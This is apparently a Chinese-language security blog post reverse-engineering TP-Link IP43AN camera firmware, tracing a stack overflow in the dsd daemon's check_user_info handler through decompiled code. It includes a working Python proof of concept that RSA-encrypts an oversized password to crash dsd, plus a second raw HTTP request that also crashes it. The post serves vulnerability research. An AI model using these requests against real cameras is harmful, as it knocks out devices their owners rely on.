TP-Link IP43AN

Catalpa 网络安全爱好者

栈溢出

首先获取摄像头的固件,下载地址: https://service.tp-link.com.cn/detail_download_7631.html

固件本身没有加密,可以直接使用 binwalk 解开,解开之后得到一个标准的 linux 文件系统,存在漏洞的文件是 /usr/bin/dsd。此二进制文件是 32bit ARM 架构的,IDA 可以直接进行反编译,但是在实际操作中,IDA 的交叉引用识别上面存在一定的问题,所以推荐搭配 Ghidra 使用。

在分析之前需要介绍一下如何才能定位关键文件。摄像头之类的设备一般都存在 web 管理界面,所以拿到固件之后可以先尝试寻找包含 http 字样的 web server,某些设备考虑到性能等问题,可能会把所有逻辑集成在一个二进制文件中,而其他一些设备性能较强,或者应用了某些框架,则会把 web 服务器和具体的业务逻辑分散开。

本例中 web 服务器位于 /usr/sbin/uhttpd,它负责解析 web 请求,以及一部分设备功能。通过进一步分析此程序,可以发现更多的业务逻辑(主要和设备的参数设置相关)被放置在了 /usr/bin/dsd 中,所以 dsd 文件就是我们的主要分析对象。

IDA 直接打开 dsd 文件,可以通过搜索字符串的方式尝试定位关键函数,也可以结合抓包手段拿到一些关键的字符串信息,经过分析,发现关键函数是 0x155FC,抓包样本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /stok=9ffcd0b497aa1902380ea5d5e1ee2eea/ds HTTP/1.1
Host: 192.168.3.20
Content-Length: 326
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://192.168.3.20
Referer: http://192.168.3.20/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"system":{"config_recovery":{},"method":"do"}

函数的几个关键信息:

  1. 处理的数据是 json 格式,基本参数包括 method、request
  2. 函数根据不同的 method 会做不同的处理,具体包含 get、add、delete、set、do
  3. 处理逻辑类似于 switch case 结构,根据不同的 request 调用不同的 handler。

关键的代码片段:

1
2
3
4
5
6
7
8
9
10
11
  if ( (v33 - 1) <= 4 )
{
if ( (*&aDsHandleMethod[4 * v33 + 644])(v3) )// 根据 method 决定调用哪个 handler
{
printf("\t [dsd] %s(%d): ", "ds_signal_handle", 3148);
v32 = "Signal handle failed.";
LABEL_81:
printf(v32);
putchar(10);
}
}

访问了 aDsHandleMethod 全局变量,根据不同的 method 调用不同的 handler,利用 IDA 查找可以发现 5 个 handler 函数指针:

1
2
3
4
5
.rodata:00029A24 method_get_handler DCD get_handler+1
.rodata:00029A28 method_add_handler DCD three_handler+1
.rodata:00029A2C method_delete_handler DCD three_handler+1
.rodata:00029A30 method_set_handler DCD three_handler+1
.rodata:00029A34 method_do_handler DCD do_handler+1

其中第 2 ~ 4 个 handler 共用一个函数。

找到 do_handler,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
int *__fastcall do_handler(_DWORD *a1)
{
_DWORD *v1; // r5
int v2; // r0
int *v3; // r4
signed int v4; // r3
int v5; // r0
_DWORD **v6; // r8
const char *v7; // r0
int v8; // r0
int *result; // r0
_DWORD *v10; // r9
int v11; // r0
int i; // r1
int (__fastcall *v13)(_DWORD *, int); // r3
int v14; // r0
_DWORD *v15; // r0
_DWORD *v16; // r6
const char *v17; // r7
int v18; // r10
const char *v19; // r0
signed int v20; // r3
const char *v21; // [sp+0h] [bp-28h]
const char *v22; // [sp+4h] [bp-24h]

v21 = 0;
v1 = a1;
v22 = 0;
if ( !a1 || *a1 < 0 || (v2 = a1[6]) == 0 )
{
printf("\t [dsd] %s(%d): ", "ds_handle_method_do", 2487);
printf("Invalid params.");
LABEL_27:
putchar(10);
return -1;
}
v3 = jso_next_sub_obj(v2, 0, &v21);
if ( v3 )
{
v5 = get_module_root_const();
v6 = v5;
if ( v5 )
{
v8 = jso_new_obj(v5);
v1[7] = v8;
if ( v8 )
{
while ( jso_is_obj(*v3) != 1 )
{
LABEL_13:
result = jso_next_sub_obj(v1[6], v3, &v21);
v3 = result;
if ( !result )
return result;
}
v10 = get_module_node(v6, v21);
if ( v10 )
{
v11 = *v3;
for ( i = 0; ; i = v16 )
{
v15 = jso_next_sub_obj(v11, i, &v22);
v16 = v15;
if ( !v15 )
goto LABEL_13;
v17 = v22;
v18 = *v15;
if ( !v22 )
break;
v19 = get_ds_node(v10, v22, 2u);
if ( !v19 )
{
printf("\t [dsd] %s(%d): ", "do_keyword_action", 2284);
printf("Service %s not support.", v17);
putchar(10);
v20 = -40106;
goto LABEL_31;
}
v13 = *(v19 + 1);
if ( !v13 )
{
printf("\t [dsd] %s(%d): ", "do_keyword_action", 2297);
printf("Function keyword_action is NULL.");
putchar(10);
v20 = -40101;
LABEL_31:
v1[5] = v20;
LABEL_26:
printf("\t [dsd] %s(%d): ", "ds_handle_method_do", 2536);
printf("Run %s service failed", v22);
goto LABEL_27;
}
v14 = v13(v1, v18); // 调用对应的函数
v1[5] = v14;
if ( v14 )
goto LABEL_26;
v11 = *v3;
}
printf("\t [dsd] %s(%d): ", "do_keyword_action", 2277);
printf("Invalid params.");
putchar(10);
goto LABEL_26;
}
printf("\t [dsd] %s(%d): ", "ds_handle_method_do", 2525);
printf("Module %s not support.", v21);
putchar(10);
v4 = -40106;
goto LABEL_17;
}
printf("\t [dsd] %s(%d): ", "ds_handle_method_do", 2512);
v7 = "Create new json object failed.";
}
else
{
printf("\t [dsd] %s(%d): ", "ds_handle_method_do", 2503);
v7 = "Get model root node failed.";
}
printf(v7);
putchar(10);
v4 = -40101;
}
else
{
printf("\t [dsd] %s(%d): ", "ds_handle_method_do", 2495);
printf("Request signal is illegal.");
putchar(10);
v4 = -40209;
}
LABEL_17:
v1[5] = v4;
return -1;
}

第 93 行附近使用了动态的函数指针调用不同函数,静态分析中暂时无法定位具体的函数列表。

由于手中有真实设备,所以可以通过抓包的方式获得一些功能接口,通过字符串搜索发现了疑似的函数参照表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.data:00045EC0 dword_45EC0     DCD 0                   ; DATA XREF: sub_25F4C↑o
.data:00045EC0 ; .text:off_25F54↑o
.data:00045EC4 DCD 0
.data:00045EC8 DCD 0x2A62C
.data:00045ECC DCD 0x2A62C
.data:00045ED0 DCD 0x45F44
.data:00045ED4 DCD 0
.data:00045ED8 DCD 0x45EDC
.data:00045EDC DCD 0x30BD0
.data:00045EE0 DCD 0x25CAD
.data:00045EE4 DCD 0x30BE1
.data:00045EE8 DCD 0x256C1
.data:00045EEC DCD 0x30BF2
.data:00045EF0 DCD 0x2575D
.data:00045EF4 DCD 0
.data:00045EF8 DCD 0
.data:00045EFC DCD 0x2A65A
.data:00045F00 DCD 0xA00
.data:00045F04 DCD 0x45FC4
.data:00045F08 DCD 0
.data:00045F0C DCD 0x25B19
.data:00045F10 DCD 0x253F9
.data:00045F14 DCD 0x30B00
.data:00045F18 DCD 0xA00
.data:00045F1C DCD 0x45FC4
.data:00045F20 DCD 0
.data:00045F24 DCD 0x25B19
.data:00045F28 DCD 0x25455
.data:00045F2C DCD 0
.data:00045F30 DCD 0
.data:00045F34 DCD 0
.data:00045F38 DCD 0
.data:00045F3C DCD 0
.data:00045F40 DCD 0

IDA 默认没有把这里识别成任何的变量,但是从 Ghidra 中寻找这部分数据可以得到以下解析结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
                     DAT_00045ec0                                    XREF[2]:     00025f4c (*) , 00025f54 (*)   
00045ec0 00 ?? 00h
00045ec1 00 ?? 00h
00045ec2 00 ?? 00h
00045ec3 00 ?? 00h
00045ec4 00 ?? 00h
00045ec5 00 ?? 00h
00045ec6 00 ?? 00h
00045ec7 00 ?? 00h
00045ec8 2c a6 02 00 addr s_user_management_0002a62c = "user_management"
00045ecc 2c a6 02 00 addr s_user_management_0002a62c = "user_management"
00045ed0 44 5f 04 00 addr PTR_DAT_00045f44 = 0002a63c
00045ed4 00 ?? 00h
00045ed5 00 ?? 00h
00045ed6 00 ?? 00h
00045ed7 00 ?? 00h
00045ed8 dc 5e 04 00 addr PTR_s_change_user_info_00045edc = 00030bd0
PTR_s_change_user_info_00045edc XREF[1]: 00045ed8 (*)
00045edc d0 0b 03 00 addr s_change_user_info_00030bd0 = "change_user_info"
00045ee0 ad 5c 02 00 addr FUN_00025cac+1
00045ee4 e1 0b 03 00 addr s_get_encrypt_info_00030be1 = "get_encrypt_info"
00045ee8 c1 56 02 00 addr FUN_000256c0+1
00045eec f2 0b 03 00 addr s_check_user_info_00030bf2 = "check_user_info"
00045ef0 5d 57 02 00 addr FUN_0002575c+1
00045ef4 00 ?? 00h
00045ef5 00 ?? 00h
00045ef6 00 ?? 00h

这段数据是 字符串、函数指针、字符串、函数指针 这种形式排列的,大概分析以下可以发现每个字符串下方的函数就是这个字符串对应的 handler,例如 0x45EDC 位置的字符串是 change_user_info,而 0x45EE0 位置的函数指针正是 change_user_info 接口的 handler。

由此我们找到了一个相对比较完整的设备接口 handler 列表,接下来的操作可以是提取接口然后依次分析。

在 0x45EEC 位置的字符串是 check_user_info,对应的 handler 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
signed int __fastcall do_login(int a1, int a2)
{
int v2; // r8
int v3; // r4
signed int v4; // r4
int v5; // r9
const char *v6; // r5
const char *v7; // r6
int v8; // r0
const char *v9; // r4
size_t v10; // r10
size_t v11; // r0
char *v12; // r4
int v13; // r10
int v15; // [sp+0h] [bp-10h]
int v16; // [sp+10h] [bp+0h]

v2 = a1;
v3 = a2;
memset(&v16, 0, 0x40u);
memset(&v15, 0, 0x10u);
if ( !v2 )
return -60305;
if ( !v3 )
return -60305;
if ( !jso_is_obj(v3) )
return -60305;
v5 = jso_obj_get_string_origin(v3, "username");
if ( !v5 )
return -60305;
v6 = jso_obj_get_string_origin(v3, "password");
if ( !v6 )
return -60305;
v7 = "1";
v8 = jso_obj_get_string_origin(v3, "encrypt_type");
if ( v8 )
v7 = v8;
printf("\t [dsd] %s(%d): ", "check_user_info", 1016);
printf("encrypt_type:%s.", v7);
putchar(10);
if ( !strcmp(v7, "2") )
{
v9 = get_private_key();
v10 = strlen(v6);
v11 = strlen(v9);
v12 = private_decrypt(v6, v10, v9, v11); // 解密用户输入的密码
printf("\t [dsd] %s(%d): ", "check_user_info", 1022);
printf("plaintext:%s.", v12);
putchar(10);
if ( v12 )
{
v13 = sscanf(v12, "%[^:]:%[^:]", &v16, &v15);
printf("\t [dsd] %s(%d): ", "check_user_info", 1026);
if ( v13 == 2 )
v6 = &v16;
printf("hashPswd(%s) rsa_nonce(%s).", &v16, &v15);
putchar(10);
free(v12);
}
}
v4 = sub_17406(v2);
if ( v4 )
return -40407;
if ( !sub_175B0(v2, v5, v6) )
return -40401;
if ( !strcmp(v7, "2") )
{
v4 = -40409;
if ( sub_17B8C(&v15) >= 0 )
v4 = 0;
}
return v4;
}

从逻辑上来看,此函数是用于检查账户信息的,用户可以传入 username 以及 password,其中 password 是经过加密的。

函数接受到 password 之后会调用 private_decrypt 对 password 解密,从解密函数名上来看 password 很可能是经过公钥密码加密,例如 RSA。经过解密的字符串会被带入 sscanf 函数拷贝到 stack 某个变量中。

注意这里的 sscanf 格式化字符串并没有限制拷贝字节的数量,考虑到 RSA 最大的明文可以是 128 字节,但是 sscanf 的目标 buffer (大小可在开头的 memset 看到) 加起来只有 80 字节,而且查看 IDA 的变量定义发现两个 buffer 都靠近栈底。所以很可能会导致溢出。

至于能否产生溢出,还要看 private_decrypt 函数的具体实现逻辑,经过搜索发现此函数是 /usr/lib/libdecrypter.so 库导出的,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
int __fastcall private_decrypt(int a1, signed int a2, int a3, int a4)
{
int v4; // r4
int v5; // r10
signed int v6; // r8
signed int v7; // r3
const char *v8; // r2
const char *v10; // r2
signed int v11; // r5
void *v12; // r0
int v13; // [sp+8h] [bp-4h]
int v14; // [sp+Ch] [bp+0h]
char v15; // [sp+10h] [bp+4h]
char v16; // [sp+88h] [bp+7Ch]
char v17; // [sp+108h] [bp+FCh]
char v18; // [sp+190h] [bp+184h]

v4 = 0;
v5 = a1;
v6 = a2;
v14 = 0;
if ( a2 != 172 || !a1 )
{
v7 = a2;
v8 = "wrong input. ciphertext_len %d.\n";
LABEL_4:
msglog(5, "DECRYPTER", v8, v7);
return 0;
}
v13 = 1024;
if ( !j_rsa_base64_decode(a3, a4, &v18, &v13) )
{
msglog(5, "DECRYPTER", "Base64 decode private key error.\n");
return 0;
}
v14 = 0;
InitRsaKey(&v17, 0);
if ( RsaPrivateKeyDecode(&v18, &v14, &v17, v13) )
{
msglog(5, "DECRYPTER", "Private key decode error: %d \n");
}
else
{
v13 = 128;
v4 = j_rsa_base64_decode(v5, v6, &v16, &v13);
if ( v4 )
{
v11 = RsaPrivateDecrypt(&v16, v13, &v15, 117, &v17);
if ( v11 < 0 )
{
v7 = v11;
v8 = "Decrypt ciphtertext error. ret %d\n";
goto LABEL_4;
}
v12 = calloc(0x75u, 1u);
v4 = (int)v12;
if ( v12 )
{
memcpy(v12, &v15, v11);
*(_BYTE *)(v4 + v11) = 0;
FreeRsaKey(&v17);
return v4;
}
v10 = "Calloc mem error.\n";
}
else
{
v10 = "Base64 decode ciphtertext error.\n";
}
((void (__fastcall *)(signed int, const char *, const char *))msglog)(5, "DECRYPTER", v10);
}
return v4;
}

简单分析发现此函数确实是 RSA 算法的解密函数,并且内部限制了明文的长度为 128 字节。

传入的密文应该是 BASE64 编码的,根据 sscanf 参数判断明文中应该以冒号作为分隔符,前半部分是 password,后半部分是 nonce 值。

弄清楚数据的基本格式之后,可以尝试构造 payload,不过首先要解决一个问题,那就是 RSA 的公钥从哪里获取。

由于我们分析的都是 web 端接口,首先考虑的就是数据是否由前端加密,或者在正式发送此请求之前,会发送其他请求获取 RSA 公钥。

抓包分析之后发现使用的是第二种方法,在发送正式请求之前,会首先发送请求获取 RSA 公钥,使用的接口是 user_management,参数为 get_encrypt_info。

所以到这里我们的思路就是首先请求服务器获取一个 RSA 公钥,然后对构造的 payload 进行加密操作,之后发送请求,验证是否能够触发漏洞。

设备的 web 管理界面存在日志窗口:

是否触发了漏洞可以通过此窗口查看。

下面是我编写的一个简单的 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
import urllib
from Crypto import Random
from Crypto.Hash import SHA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5
from Crypto.PublicKey import RSA
import base64
from pwn import *

ip = "*"
port = 80
stok = "*" # set a valid stok value here!

headers = {"Accept":"application/json, text/javascript, */*; q=0.01",\
"X-Requested-With":"XMLHttpRequest",\
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36",\
"Content-Type":"application/json; charset=UTF-8",\
"Accept-Encoding":"gzip, deflate",\
"Accept-Language":"zh-CN,zh;q=0.9",\
"Connection":"close" }

def rsa_encrypt(key, p):
rsakey = RSA.importKey(key)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
cipher_text = base64.b64encode(cipher.encrypt(p))
return cipher_text


def get_public_key(ip, port):
url = "http://" + ip + "/stok=" + stok + "/ds"
data = r'{"user_management":{"get_encrypt_info":{}},"method":"do"}'
res = requests.post(url, headers=headers, data=data)
public_key = res.content[40:-41]
return urllib.unquote(public_key)

def is_alive(ip, port):
url = "http://" + ip
res = requests.get(url)
if str(res.status_code) == "200":
return 1
else:
return 0

def exploit(ip, port):
url = "http://" + ip + "/stok=" + stok + "/ds"
public_key = "-----BEGIN PUBLIC KEY-----\n" + get_public_key(ip, port) + "\n-----END PUBLIC KEY-----"
password = rsa_encrypt(public_key, "a" * (0x60))
data = r'{"user_management":{"check_user_info":{"username":"admin","password":"' + password +r'","encrypt_type":"2"}},"method":"do"}'
res = ""
try:
res = requests.post(url, data=data, headers=headers, timeout=3)
except Exception as e:
print("[*] Success!")
print(e)
return 1
print("[-] Failed!")
print(res.content)
return 0


if __name__ == "__main__":
if is_alive(ip, port):
print("[+] Target is alive!")
else:
print("[-] Target seems down!")
exit(0)

res = exploit(ip, port)

由于请求 dsd 文件需要登录权限,所以首先要获取一个合法的 stok 值,可通过抓包获取。之后设置好 ip 参数执行程序即可看到效果。

1
2
3
4
➜  Desktop python TP-LinkIPC.py 
[+] Target is alive!
[*] Success!
('Connection aborted.', BadStatusLine('0\r\n',))

可以看到 dsd 程序崩溃,守护进程重置了 dsd,多次发送数据看到 dsd 多次崩溃。

但是进一步利用会遇到困难,由于没有合适的调试环境,无法确定溢出到什么位置,另外设备可能开启了 ASLR,导致盲测难度很高。

另外在测试漏洞的过程中,我发现了另外一个能够使 dsd 程序崩溃的 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /stok=*/ds HTTP/1.1
Host: 192.168.3.20
Content-Length: 326
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://192.168.3.20
Referer: http://192.168.3.20/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"system":{"config_recovery":{"config_name":[{"id":"1","pt1_x":"1657","pt1_y":"4382","pt2_x":"9253","pt2_y":"4413","direction":"AtoB","sensitivity":"50","people_enabled":"off"},{"id":"2","pt1_x":"1206","pt1_y":"1574","pt2_x":"9392","pt2_y":"1327","direction":"BtoA","sensitivity":"50","people_enabled":"off"}]}},"method":"do"}
  • Title: TP-Link IP43AN
  • Author: Catalpa
  • Created at : 2020-05-23 00:00:00
  • Updated at : 2024-10-17 08:49:58
  • Link: https://wzt.ac.cn/2020/05/23/IPC43AN/
  • License: This work is licensed under CC BY-SA 4.0.
On this page
TP-Link IP43AN